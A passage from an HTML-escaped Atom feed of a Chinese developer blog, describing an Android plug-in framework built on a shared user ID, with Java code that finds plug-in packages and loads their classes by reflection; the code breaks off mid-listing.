href="http://code.google.com/p/android-application-plug-ins-frame-work/w/edit/PluginFeatureMethod"&gt;?&lt;/a&gt;&amp;nbsp;&lt;strong&gt;&lt;em&gt;插件方法&lt;/em&gt;&lt;/strong&gt;&lt;/li&gt;&lt;/ol&gt;&lt;li&gt;org.igeek.android.pluginframework.util&amp;nbsp;&lt;strong&gt;&lt;em&gt;一些工具类&lt;/em&gt;&lt;/strong&gt;&lt;/li&gt;&lt;ol&gt;&lt;li&gt;XMLParse&amp;nbsp;&lt;strong&gt;&lt;em&gt;插件包&lt;/em&gt;&lt;/strong&gt;&lt;/li&gt;&lt;/ol&gt;&lt;/ul&gt;&lt;img src="http://www.cnblogs.com/hangxin1940/aggbug/2291380.html?type=1" width="1" height="1" alt=""/&gt;&lt;p&gt;&lt;a href="http://www.cnblogs.com/hangxin1940/archive/2011/12/17/2291380.html" target="_blank"&gt;本文链接&lt;/a&gt;&lt;/p&gt;</content></entry><entry><id>http://www.cnblogs.com/hangxin1940/archive/2011/12/14/2288169.html</id><title type="text">android 程序开发的插件化 模块化方法 之一</title><summary type="text">框架已经放出：android-application-plug-ins-frame-work安卓应用程序插件化开发框架 -AAP Framework 在android的项目开发中，都会遇到后期功能拓展增强与主程序代码变更的现实矛盾，也就是程序的灵活度。 由于linux平台的安全机制，再加上dalvik的特殊机制，各种权限壁垒，使得开发一个灵活多变的程序，变得比较困难，不像pc平台下那么容易。 瞅瞅elipse的插件，瞅瞅360的插件，在android下，我们一开始很难写好一个主程序，然后通过插件机制来应对以后的功能拓展，于是程序变得不那么灵活多变了。 比如一款android下的安全软...</summary><published>2011-12-14T14:50:00Z</published><updated>2011-12-14T14:50:00Z</updated><author><name>黑暗伯爵</name><uri>http://www.cnblogs.com/hangxin1940/</uri></author><link rel="alternate" href="http://www.cnblogs.com/hangxin1940/archive/2011/12/14/2288169.html"/><link rel="alternate" type="text/html" href="http://www.cnblogs.com/hangxin1940/archive/2011/12/14/2288169.html"/><content type="html">&lt;p&gt;框架已经放出：&lt;/p&gt;&lt;p&gt;&lt;a href="http://code.google.com/p/android-application-plug-ins-frame-work/"&gt;&lt;img src="http://code.google.com/p/android-application-plug-ins-frame-work/logo?cct=1324057482" alt="Logo" /&gt;&lt;/a&gt;&lt;/p&gt;&lt;div id="pname"&gt;&lt;a href="http://code.google.com/p/android-application-plug-ins-frame-work/"&gt;android-application-plug-ins-frame-work&lt;/a&gt;&lt;/div&gt;&lt;div id="psum"&gt;&lt;a id="project_summary_link" href="http://code.google.com/p/android-application-plug-ins-frame-work/"&gt;安卓应用程序插件化开发框架 -AAP Framework&lt;/a&gt;&lt;/div&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp;&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;在android的项目开发中，都会遇到后期功能拓展增强与主程序代码变更的现实矛盾，也就是程序的灵活度。&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;由于linux平台的安全机制，再加上dalvik的特殊机制，各种权限壁垒，使得开发一个灵活多变的程序，变得比较困难，不像pc平台下那么容易。&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;瞅瞅elipse的插件，瞅瞅360的插件，在android下，我们一开始很难写好一个主程序，然后通过插件机制来应对以后的功能拓展，于是程序变得不那么灵活多变了。&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;比如一款android下的安全软件，新版本增加了一个功能，如短信拦截，往往会因为一个模块的增加，而重新编译一个apk包，这样周而复始，哪怕只增加50kb的功能代码，用户也需要升级一个完整的apk，往往是5~6M的体积。&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;最近思来想去，想到一个方法，既然tencent qq在android下面可以以apk的形式来换皮肤，这资源文件的拓展都可以这样简便的搞，为何功能性的拓展就不可以？&lt;/p&gt;&lt;p&gt;想出来了两种解决方案。&lt;/p&gt;&lt;p&gt;先来说说第一种。&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&lt;span style="color: #ff6600;"&gt;demo下载在最后&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;先说分析思路。&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;android下，默认的情况是，每个apk相互独立的，基本上每个应用都是一个dalvik虚拟机，都有一个uid，再配合上linux本身的权限机制，使得apk互通很难直接进行。但作为一个独立应用的集成，不管多少个apk，都可以并为一个单独的dalvik虚拟机，直观的反映给开发人员就是在shell下列出进程，那几个apk同时加载后，会一个进程存在。&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;这主要就是工程的清单文件 Mainfest中配置了，只需要一句话，以我的测试demo为例：&lt;/p&gt;&lt;div style="background-color: #F5F5F5;border: 1px solid #CCCCCC;padding:10px;"&gt;....&lt;br /&gt;&lt;br /&gt;&lt;span style="color: #0000ff;"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #800000;"&gt;manifest &lt;/span&gt;&lt;span style="color: #ff0000;"&gt;xmlns:android&lt;/span&gt;&lt;span style="color: #0000ff;"&gt;="http://schemas.android.com/apk/res/android"&lt;/span&gt;&lt;span style="color: #ff0000;"&gt;&lt;br /&gt;      package&lt;/span&gt;&lt;span style="color: #0000ff;"&gt;="org.igeek.plugintest.main"&lt;/span&gt;&lt;span style="color: #ff0000;"&gt;&lt;br /&gt;      &amp;lt;!-- 就是这句关键代码 --&lt;/span&gt;&lt;span style="color: #0000ff;"&gt;&amp;gt;&lt;/span&gt;&lt;br /&gt;      android:sharedUserId="org.igeek.plugintest"&lt;br /&gt;      android:versionCode="1"      &lt;br /&gt;      android:versionName="1.0"&amp;gt;&lt;br /&gt;&lt;br /&gt;.....&lt;/div&gt;&lt;p&gt;&lt;br /&gt;&amp;nbsp; &amp;nbsp; 在上面的代码中，&lt;span style="text-decoration: underline;"&gt;&lt;span style="color: #008000; text-decoration: underline;"&gt;android:sharedUserId&lt;/span&gt;&lt;/span&gt;是指共用一个uid，也就是，凡是这个属性相同的工程，都会共用同一个uid，这样，权限壁垒就消除了，dalvik也会融合为一个，可以测试一下，写几个工程，没有这个属性和有这个属性的情况下，同时运行，在列出当前进程，就直观的说明了。&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp;程序拓展的插件化，当然需要一个主程序，主程序是实现基本功能，以及UI，还有插件的检索以及插件的调用。&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp;这里贴出我demo中的主activity代码：&lt;/p&gt;&lt;div style="background-color: #F5F5F5;border: 1px solid #CCCCCC;padding:10px;" onclick="cnblogs_code_show('ecad1218-1318-4f6b-a0f4-eab07c6ff387')"&gt;&lt;div id="cnblogs_code_open_ecad1218-1318-4f6b-a0f4-eab07c6ff387" class="cnblogs_code_hide"&gt;&lt;span style="color: #008080;"&gt;  1&lt;/span&gt; &lt;span style="color: #0000ff;"&gt;public&lt;/span&gt; &lt;span style="color: #0000ff;"&gt;class&lt;/span&gt; AndoirdpluginActivity &lt;span style="color: #0000ff;"&gt;extends&lt;/span&gt; ActivityGroup &lt;span style="color: #0000ff;"&gt;implements&lt;/span&gt; OnClickListener ,OnScrollCompleteListener{&lt;br /&gt;&lt;span style="color: #008080;"&gt;  2&lt;/span&gt;     &lt;span style="color: #0000ff;"&gt;private&lt;/span&gt; LinearLayout llMainLayout;&lt;br /&gt;&lt;span style="color: #008080;"&gt;  3&lt;/span&gt;     &lt;br /&gt;&lt;span style="color: #008080;"&gt;  4&lt;/span&gt;     &lt;span style="color: #008000;"&gt;//&lt;/span&gt;&lt;span style="color: #008000;"&gt;workspace，看看luncher的源码，这个就是桌面那个多屏的实现&lt;/span&gt;&lt;span style="color: #008000;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: #008080;"&gt;  5&lt;/span&gt;     &lt;span style="color: #0000ff;"&gt;private&lt;/span&gt; WorkSpace wkMain;&lt;br /&gt;&lt;span style="color: #008080;"&gt;  6&lt;/span&gt;     &lt;span style="color: #0000ff;"&gt;private&lt;/span&gt; Button btnFindPlugins;&lt;br /&gt;&lt;span style="color: #008080;"&gt;  7&lt;/span&gt;     &lt;span style="color: #0000ff;"&gt;private&lt;/span&gt; CheckBox chbAttachMain;&lt;br /&gt;&lt;span style="color: #008080;"&gt;  8&lt;/span&gt;     &lt;br /&gt;&lt;span style="color: #008080;"&gt;  9&lt;/span&gt;     &lt;span style="color: #0000ff;"&gt;private&lt;/span&gt; LocalActivityManager m_ActivityManager;&lt;br /&gt;&lt;span style="color: #008080;"&gt; 10&lt;/span&gt;     &lt;br /&gt;&lt;span style="color: #008080;"&gt; 11&lt;/span&gt;     &lt;span style="color: #008000;"&gt;//&lt;/span&gt;&lt;span style="color: #008000;"&gt;这个bean的集合，就相当于插件的描述集合&lt;br /&gt;&lt;/span&gt;&lt;span style="color: #008080;"&gt; 12&lt;/span&gt; &lt;span style="color: #008000;"&gt;//&lt;/span&gt;&lt;span style="color: #008000;"&gt;每个bean也就是一个插件的各种描述&lt;/span&gt;&lt;span style="color: #008000;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: #008080;"&gt; 13&lt;/span&gt;     &lt;span style="color: #0000ff;"&gt;private&lt;/span&gt; List&amp;lt;PluginBean&amp;gt; plugins;&lt;br /&gt;&lt;span style="color: #008080;"&gt; 14&lt;/span&gt;     &lt;br /&gt;&lt;span style="color: #008080;"&gt; 15&lt;/span&gt;     @Override&lt;br /&gt;&lt;span style="color: #008080;"&gt; 16&lt;/span&gt;     &lt;span style="color: #0000ff;"&gt;public&lt;/span&gt; &lt;span style="color: #0000ff;"&gt;void&lt;/span&gt; onCreate(Bundle savedInstanceState) {&lt;br /&gt;&lt;span style="color: #008080;"&gt; 17&lt;/span&gt;         &lt;span style="color: #0000ff;"&gt;super&lt;/span&gt;.onCreate(savedInstanceState);&lt;br /&gt;&lt;span style="color: #008080;"&gt; 18&lt;/span&gt;         setContentView(R.layout.main);&lt;br /&gt;&lt;span style="color: #008080;"&gt; 19&lt;/span&gt;         &lt;br /&gt;&lt;span style="color: #008080;"&gt; 20&lt;/span&gt;         llMainLayout=(LinearLayout) findViewById(R.id.main_llMainLayout);&lt;br /&gt;&lt;span style="color: #008080;"&gt; 21&lt;/span&gt;         wkMain=(WorkSpace) findViewById(R.id.main_wkMain);&lt;br /&gt;&lt;span style="color: #008080;"&gt; 22&lt;/span&gt;         btnFindPlugins=(Button) findViewById(R.id.main_btnFindPlugins);&lt;br /&gt;&lt;span style="color: #008080;"&gt; 23&lt;/span&gt;         chbAttachMain=(CheckBox) findViewById(R.id.main_chbAttachMain);&lt;br /&gt;&lt;span style="color: #008080;"&gt; 24&lt;/span&gt;         &lt;br /&gt;&lt;span style="color: #008080;"&gt; 25&lt;/span&gt;         m_ActivityManager = getLocalActivityManager();&lt;br /&gt;&lt;span style="color: #008080;"&gt; 26&lt;/span&gt;         &lt;br /&gt;&lt;span style="color: #008080;"&gt; 27&lt;/span&gt;         wkMain.setOnScrollCompleteLinstenner(&lt;span style="color: #0000ff;"&gt;this&lt;/span&gt;);&lt;br /&gt;&lt;span style="color: #008080;"&gt; 28&lt;/span&gt;         btnFindPlugins.setOnClickListener(&lt;span style="color: #0000ff;"&gt;this&lt;/span&gt;);&lt;br /&gt;&lt;span style="color: #008080;"&gt; 29&lt;/span&gt;     }&lt;br /&gt;&lt;span style="color: #008080;"&gt; 30&lt;/span&gt; &lt;br /&gt;&lt;span style="color: #008080;"&gt; 31&lt;/span&gt;     @Override&lt;br /&gt;&lt;span style="color: #008080;"&gt; 32&lt;/span&gt;     &lt;span style="color: #0000ff;"&gt;public&lt;/span&gt; &lt;span style="color: #0000ff;"&gt;void&lt;/span&gt; onClick(View v) {&lt;br /&gt;&lt;span style="color: #008080;"&gt; 33&lt;/span&gt;         attachPlugin(findPlugins());&lt;br /&gt;&lt;span style="color: #008080;"&gt; 34&lt;/span&gt;         btnFindPlugins.setVisibility(View.GONE);&lt;br /&gt;&lt;span style="color: #008080;"&gt; 35&lt;/span&gt;     }&lt;br /&gt;&lt;span style="color: #008080;"&gt; 36&lt;/span&gt;     &lt;br /&gt;&lt;span style="color: #008080;"&gt; 37&lt;/span&gt;     &lt;span style="color: #008000;"&gt;/**&lt;/span&gt;&lt;span style="color: #008000;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: #008080;"&gt; 38&lt;/span&gt; &lt;span style="color: #008000;"&gt;     * 加载插件列表&lt;br /&gt;&lt;/span&gt;&lt;span style="color: #008080;"&gt; 39&lt;/span&gt; &lt;span style="color: #008000;"&gt;     * &lt;/span&gt;&lt;span style="color: #808080;"&gt;@param&lt;/span&gt;&lt;span style="color: #008000;"&gt; plugins&lt;br /&gt;&lt;/span&gt;&lt;span style="color: #008080;"&gt; 40&lt;/span&gt; &lt;span style="color: #008000;"&gt;*/&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #008080;"&gt; 41&lt;/span&gt;     &lt;span style="color: #0000ff;"&gt;private&lt;/span&gt; &lt;span style="color: #0000ff;"&gt;void&lt;/span&gt; attachPlugin(&lt;span style="color: #0000ff;"&gt;final&lt;/span&gt; List&amp;lt;PluginBean&amp;gt; plugins){&lt;br /&gt;&lt;span style="color: #008080;"&gt; 42&lt;/span&gt;         Log.e("ydt", "   ");&lt;br /&gt;&lt;span style="color: #008080;"&gt; 43&lt;/span&gt;         Log.e("ydt", "----- 列出插件");&lt;br /&gt;&lt;span style="color: #008080;"&gt; 44&lt;/span&gt;         &lt;span style="color: #0000ff;"&gt;this&lt;/span&gt;.plugins=plugins;&lt;br /&gt;&lt;span style="color: #008080;"&gt; 45&lt;/span&gt;         &lt;span style="color: #0000ff;"&gt;for&lt;/span&gt;(&lt;span style="color: #0000ff;"&gt;final&lt;/span&gt; PluginBean plugin:plugins){&lt;br /&gt;&lt;span style="color: #008080;"&gt; 46&lt;/span&gt;             Button btn=&lt;span style="color: #0000ff;"&gt;new&lt;/span&gt; Button(&lt;span style="color: #0000ff;"&gt;this&lt;/span&gt;);&lt;br /&gt;&lt;span style="color: #008080;"&gt; 47&lt;/span&gt;             btn.setTextColor(Color.RED);&lt;br /&gt;&lt;span style="color: #008080;"&gt; 48&lt;/span&gt;             btn.setText(plugin.getLabel());&lt;br /&gt;&lt;span style="color: #008080;"&gt; 49&lt;/span&gt;             &lt;br /&gt;&lt;span style="color: #008080;"&gt; 50&lt;/span&gt;             llMainLayout.addView(btn);&lt;br /&gt;&lt;span style="color: #008080;"&gt; 51&lt;/span&gt;             &lt;span style="color: #008000;"&gt;//&lt;/span&gt;&lt;span style="color: #008000;"&gt;添加事件&lt;/span&gt;&lt;span style="color: #008000;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: #008080;"&gt; 52&lt;/span&gt;             btn.setOnClickListener(&lt;span style="color: #0000ff;"&gt;new&lt;/span&gt; OnClickListener() {&lt;br /&gt;&lt;span style="color: #008080;"&gt; 53&lt;/span&gt;                 &lt;br /&gt;&lt;span style="color: #008080;"&gt; 54&lt;/span&gt;                 @Override&lt;br /&gt;&lt;span style="color: #008080;"&gt; 55&lt;/span&gt;                 &lt;span style="color: #0000ff;"&gt;public&lt;/span&gt; &lt;span style="color: #0000ff;"&gt;void&lt;/span&gt; onClick(View v) {&lt;br /&gt;&lt;span style="color: #008080;"&gt; 56&lt;/span&gt;                     &lt;span style="color: #0000ff;"&gt;boolean&lt;/span&gt; isAttack=chbAttachMain.isChecked();&lt;br /&gt;&lt;span style="color: #008080;"&gt; 57&lt;/span&gt;                     &lt;br /&gt;&lt;span style="color: #008080;"&gt; 58&lt;/span&gt;                     Intent it=&lt;span style="color: #0000ff;"&gt;new&lt;/span&gt; Intent();&lt;br /&gt;&lt;span style="color: #008080;"&gt; 59&lt;/span&gt;                     it.setAction(plugin.getPakageName());&lt;br /&gt;&lt;span style="color: #008080;"&gt; 60&lt;/span&gt;                     &lt;br /&gt;&lt;span style="color: #008080;"&gt; 61&lt;/span&gt;                     &lt;span style="color: #008000;"&gt;//&lt;/span&gt;&lt;span style="color: #008000;"&gt;是否附加为view&lt;/span&gt;&lt;span style="color: #008000;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: #008080;"&gt; 62&lt;/span&gt;                     &lt;span style="color: #0000ff;"&gt;if&lt;/span&gt;(isAttack){&lt;br /&gt;&lt;span style="color: #008080;"&gt; 63&lt;/span&gt;                         &lt;span style="color: #008000;"&gt;//&lt;/span&gt;&lt;span style="color: #008000;"&gt;这里偷下懒，这是演示插件作为view附加到主程序中的&lt;/span&gt;&lt;span style="color: #008000;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: #008080;"&gt; 64&lt;/span&gt;                         &lt;span style="color: #0000ff;"&gt;for&lt;/span&gt;(PluginBean plugin:plugins){&lt;br /&gt;&lt;span style="color: #008080;"&gt; 65&lt;/span&gt;                             &lt;br /&gt;&lt;span style="color: #008080;"&gt; 66&lt;/span&gt;                             Intent itt=&lt;span style="color: #0000ff;"&gt;new&lt;/span&gt; Intent();&lt;br /&gt;&lt;span style="color: #008080;"&gt; 67&lt;/span&gt;                             itt.setAction(plugin.getPakageName());&lt;br /&gt;&lt;span style="color: #008080;"&gt; 68&lt;/span&gt;                             ViewGroup view=(ViewGroup) (m_ActivityManager.startActivity("", itt)).getDecorView();&lt;br /&gt;&lt;span style="color: #008080;"&gt; 69&lt;/span&gt;                             wkMain.addView(view);&lt;br /&gt;&lt;span style="color: #008080;"&gt; 70&lt;/span&gt;                         }&lt;br /&gt;&lt;span style="color: #008080;"&gt; 71&lt;/span&gt;                         &lt;span style="color: #008000;"&gt;//&lt;/span&gt;&lt;span style="color: #008000;"&gt;一次性附加完毕算了，然后把按钮都删了，看着清净，这几个不是重点&lt;/span&gt;&lt;span style="color: #008000;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: #008080;"&gt; 72&lt;/span&gt;                         llMainLayout.removeAllViews();&lt;br /&gt;&lt;span style="color: #008080;"&gt; 73&lt;/span&gt;                         chbAttachMain.setVisibility(View.GONE);&lt;br /&gt;&lt;span style="color: #008080;"&gt; 74&lt;/span&gt;                         wkMain.setToScreen(0);&lt;br /&gt;&lt;span style="color: #008080;"&gt; 75&lt;/span&gt;                     }&lt;span style="color: #0000ff;"&gt;else&lt;/span&gt;{&lt;br /&gt;&lt;span style="color: #008080;"&gt; 76&lt;/span&gt;                         &lt;span style="color: #008000;"&gt;//&lt;/span&gt;&lt;span style="color: #008000;"&gt;这里，不会把插件的窗体附加到主程序中，纯粹无用的演示&lt;/span&gt;&lt;span style="color: #008000;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: #008080;"&gt; 77&lt;/span&gt;                         startActivity(it);&lt;br /&gt;&lt;span style="color: #008080;"&gt; 78&lt;/span&gt;                     }&lt;br /&gt;&lt;span style="color: #008080;"&gt; 79&lt;/span&gt;                 }&lt;br /&gt;&lt;span style="color: #008080;"&gt; 80&lt;/span&gt;             });&lt;br /&gt;&lt;span style="color: #008080;"&gt; 81&lt;/span&gt;             &lt;br /&gt;&lt;span style="color: #008080;"&gt; 82&lt;/span&gt;         }&lt;br /&gt;&lt;span style="color: #008080;"&gt; 83&lt;/span&gt;     }&lt;br /&gt;&lt;span style="color: #008080;"&gt; 84&lt;/span&gt;     &lt;br /&gt;&lt;span style="color: #008080;"&gt; 85&lt;/span&gt;     &lt;span style="color: #008000;"&gt;/**&lt;/span&gt;&lt;span style="color: #008000;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: #008080;"&gt; 86&lt;/span&gt; &lt;span style="color: #008000;"&gt;     * 查找插件&lt;br /&gt;&lt;/span&gt;&lt;span style="color: #008080;"&gt; 87&lt;/span&gt; &lt;span style="color: #008000;"&gt;     * &lt;/span&gt;&lt;span style="color: #808080;"&gt;@return&lt;/span&gt;&lt;span style="color: #008000;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: #008080;"&gt; 88&lt;/span&gt; &lt;span style="color: #008000;"&gt;*/&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #008080;"&gt; 89&lt;/span&gt;     &lt;span style="color: #0000ff;"&gt;private&lt;/span&gt; List&amp;lt;PluginBean&amp;gt; findPlugins(){&lt;br /&gt;&lt;span style="color: #008080;"&gt; 90&lt;/span&gt;         &lt;br /&gt;&lt;span style="color: #008080;"&gt; 91&lt;/span&gt;         List&amp;lt;PluginBean&amp;gt; plugins=&lt;span style="color: #0000ff;"&gt;new&lt;/span&gt; ArrayList&amp;lt;PluginBean&amp;gt;();&lt;br /&gt;&lt;span style="color: #008080;"&gt; 92&lt;/span&gt;         &lt;br /&gt;&lt;span style="color: #008080;"&gt; 93&lt;/span&gt;         &lt;br /&gt;&lt;span style="color: #008080;"&gt; 94&lt;/span&gt;         &lt;span style="color: #008000;"&gt;//&lt;/span&gt;&lt;span style="color: #008000;"&gt;遍历包名，来获取插件&lt;/span&gt;&lt;span style="color: #008000;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: #008080;"&gt; 95&lt;/span&gt;         PackageManager pm=getPackageManager();&lt;br /&gt;&lt;span style="color: #008080;"&gt; 96&lt;/span&gt;         &lt;br /&gt;&lt;span style="color: #008080;"&gt; 97&lt;/span&gt;         &lt;br /&gt;&lt;span style="color: #008080;"&gt; 98&lt;/span&gt;         List&amp;lt;PackageInfo&amp;gt; pkgs=pm.getInstalledPackages(PackageManager.GET_UNINSTALLED_PACKAGES);&lt;br /&gt;&lt;span style="color: #008080;"&gt; 99&lt;/span&gt;         &lt;span style="color: #0000ff;"&gt;for&lt;/span&gt;(PackageInfo pkg    :pkgs){&lt;br /&gt;&lt;span style="color: #008080;"&gt;100&lt;/span&gt;             &lt;span style="color: #008000;"&gt;//&lt;/span&gt;&lt;span style="color: #008000;"&gt;包名&lt;/span&gt;&lt;span style="color: #008000;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: #008080;"&gt;101&lt;/span&gt;             String packageName=pkg.packageName;&lt;br /&gt;&lt;span style="color: #008080;"&gt;102&lt;/span&gt;             String sharedUserId= pkg.sharedUserId;&lt;br /&gt;&lt;span style="color: #008080;"&gt;103&lt;/span&gt;             &lt;br /&gt;&lt;span style="color: #008080;"&gt;104&lt;/span&gt;             &lt;span style="color: #008000;"&gt;//&lt;/span&gt;&lt;span style="color: #008000;"&gt;sharedUserId是开发时约定好的，这样判断是否为自己人&lt;/span&gt;&lt;span style="color: #008000;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: #008080;"&gt;105&lt;/span&gt;             &lt;span style="color: #0000ff;"&gt;if&lt;/span&gt;(!"org.igeek.plugintest".equals(sharedUserId)||"org.igeek.plugintest.main".equals(packageName))&lt;br /&gt;&lt;span style="color: #008080;"&gt;106&lt;/span&gt;                 &lt;span style="color: #0000ff;"&gt;continue&lt;/span&gt;;&lt;br /&gt;&lt;span style="color: #008080;"&gt;107&lt;/span&gt;             &lt;br /&gt;&lt;span style="color: #008080;"&gt;108&lt;/span&gt;             &lt;span style="color: #008000;"&gt;//&lt;/span&gt;&lt;span style="color: #008000;"&gt;进程名&lt;/span&gt;&lt;span style="color: #008000;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: #008080;"&gt;109&lt;/span&gt;             String prcessName=pkg.applicationInfo.processName;&lt;br /&gt;&lt;span style="color: #008080;"&gt;110&lt;/span&gt;             &lt;br /&gt;&lt;span style="color: #008080;"&gt;111&lt;/span&gt;             &lt;span style="color: #008000;"&gt;//&lt;/span&gt;&lt;span style="color: #008000;"&gt;label，也就是appName了&lt;/span&gt;&lt;span style="color: #008000;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: #008080;"&gt;112&lt;/span&gt;             String label=pm.getApplicationLabel(pkg.applicationInfo).toString();&lt;br /&gt;&lt;span style="color: #008080;"&gt;113&lt;/span&gt;             &lt;br /&gt;&lt;span style="color: #008080;"&gt;114&lt;/span&gt;             PluginBean plug=&lt;span style="color: #0000ff;"&gt;new&lt;/span&gt; PluginBean();&lt;br /&gt;&lt;span style="color: #008080;"&gt;115&lt;/span&gt;             plug.setLabel(label);&lt;br /&gt;&lt;span style="color: #008080;"&gt;116&lt;/span&gt;             plug.setPakageName(packageName);&lt;br /&gt;&lt;span style="color: #008080;"&gt;117&lt;/span&gt;             &lt;br /&gt;&lt;span style="color: #008080;"&gt;118&lt;/span&gt;             plugins.add(plug);&lt;br /&gt;&lt;span style="color: #008080;"&gt;119&lt;/span&gt;         }&lt;br /&gt;&lt;span style="color: #008080;"&gt;120&lt;/span&gt;         &lt;br /&gt;&lt;span style="color: #008080;"&gt;121&lt;/span&gt;         &lt;br /&gt;&lt;span style="color: #008080;"&gt;122&lt;/span&gt;         &lt;span style="color: #0000ff;"&gt;return&lt;/span&gt; plugins;&lt;br /&gt;&lt;span style="color: #008080;"&gt;123&lt;/span&gt;         &lt;br /&gt;&lt;span style="color: #008080;"&gt;124&lt;/span&gt;     }&lt;br /&gt;&lt;span style="color: #008080;"&gt;125&lt;/span&gt; &lt;br /&gt;&lt;span style="color: #008080;"&gt;126&lt;/span&gt;  &lt;br /&gt;&lt;span style="color: #008080;"&gt;127&lt;/span&gt;     &lt;span style="color: #008000;"&gt;/**&lt;/span&gt;&lt;span style="color: #008000;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: #008080;"&gt;128&lt;/span&gt; &lt;span style="color: #008000;"&gt;     * WorkSpace滚动到那个屏，会触发这个事件&lt;br /&gt;&lt;/span&gt;&lt;span style="color: #008080;"&gt;129&lt;/span&gt; &lt;span style="color: #008000;"&gt;     * 而worksapce中每一屏又是一个插件&lt;br /&gt;&lt;/span&gt;&lt;span style="color: #008080;"&gt;130&lt;/span&gt; &lt;span style="color: #008000;"&gt;     * 这个事件是用来列出当前屏幕插件所提供的应用，并且让用户调用&lt;br /&gt;&lt;/span&gt;&lt;span style="color: #008080;"&gt;131&lt;/span&gt; &lt;span style="color: #008000;"&gt;*/&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #008080;"&gt;132&lt;/span&gt;     @Override&lt;br /&gt;&lt;span style="color: #008080;"&gt;133&lt;/span&gt;     &lt;span style="color: #0000ff;"&gt;public&lt;/span&gt; &lt;span style="color: #0000ff;"&gt;void&lt;/span&gt; onScrollComplete(&lt;span style="color: #0000ff;"&gt;final&lt;/span&gt; ScrollEvent e) {&lt;br /&gt;&lt;span style="color: #008080;"&gt;134&lt;/span&gt;         &lt;span style="color: #0000ff;"&gt;try&lt;/span&gt; {&lt;br /&gt;&lt;span style="color: #008080;"&gt;135&lt;/span&gt;             &lt;span style="color: #0000ff;"&gt;final&lt;/span&gt; Context context = createPackageContext(plugins.get(e.curScreen).getPakageName(), Context.CONTEXT_INCLUDE_CODE|Context.CONTEXT_IGNORE_SECURITY);&lt;br /&gt;&lt;span style="color: #008080;"&gt;136&lt;/span&gt;             llMainLayout.removeAllViews();&lt;br /&gt;&lt;span style="color: #008080;"&gt;137&lt;/span&gt;             &lt;span style="color: #008000;"&gt;//&lt;/span&gt;&lt;span style="color: #008000;"&gt;这几行，通过反射获取了当前插件的描述信息，如同大部分框架的xml一样，这里算是模拟了一下IOC控制反转&lt;/span&gt;&lt;span style="color: #008000;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: #008080;"&gt;138&lt;/span&gt;             Class clazz=context.getClassLoader().loadClass(plugins.get(e.curScreen).getPakageName()+".PluginApplication");&lt;br /&gt;&lt;span style="color: #008080;"&gt;139&lt;/span&gt;             Object o=clazz.newInstance();&lt;br /&gt;&lt;span style="color: #008080;"&gt;140&lt;/span&gt;             Map&amp;lt;String,List&amp;lt;String&amp;gt;&amp;gt;  r=(Map&amp;lt;String, List&amp;lt;String&amp;gt;&amp;gt;) clazz.getMethod("getDesciption").invoke(o);&lt;br /&gt;&lt;span style="color: #008080;"&gt;141&lt;/span&gt;             List&amp;lt;String&amp;gt; classes=r.get("classes");&lt;br /&gt;&lt;span style="color: #008080;"&gt;142&lt;/span&gt;             List&amp;lt;String&amp;gt; methods=r.get("methods");&lt;br /&gt;&lt;span style="color: #008080;"&gt;143&lt;/span&gt;             &lt;br /&gt;&lt;span style="color: #008080;"&gt;144&lt;/span&gt;             &lt;br /&gt;&lt;span style="color: #008080;"&gt;145&lt;/span&gt;             &lt;span style="color: #008000;"&gt;//&lt;/span&gt;&lt;span style="color: #008000;"&gt;这里，根据获得的插件所提供的功能，来生成几个按钮显示，供我们调用&lt;/span&gt;&lt;span style="color: #008000;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: #008080;"&gt;146&lt;/span&gt;             &lt;span style="color: #0000ff;"&gt;for&lt;/span&gt;(&lt;span style="color: #0000ff;"&gt;final&lt;/span&gt; String clas:classes){&lt;br /&gt;&lt;span style="color: #008080;"&gt;147&lt;/span&gt;                 &lt;span style="color: #0000ff;"&gt;for&lt;/span&gt;(&lt;span style="color: #0000ff;"&gt;final&lt;/span&gt; String method:methods){&lt;br /&gt;&lt;span style="color: #008080;"&gt;148&lt;/span&gt;                     Button btn=&lt;span style="color: #0000ff;"&gt;new&lt;/span&gt; 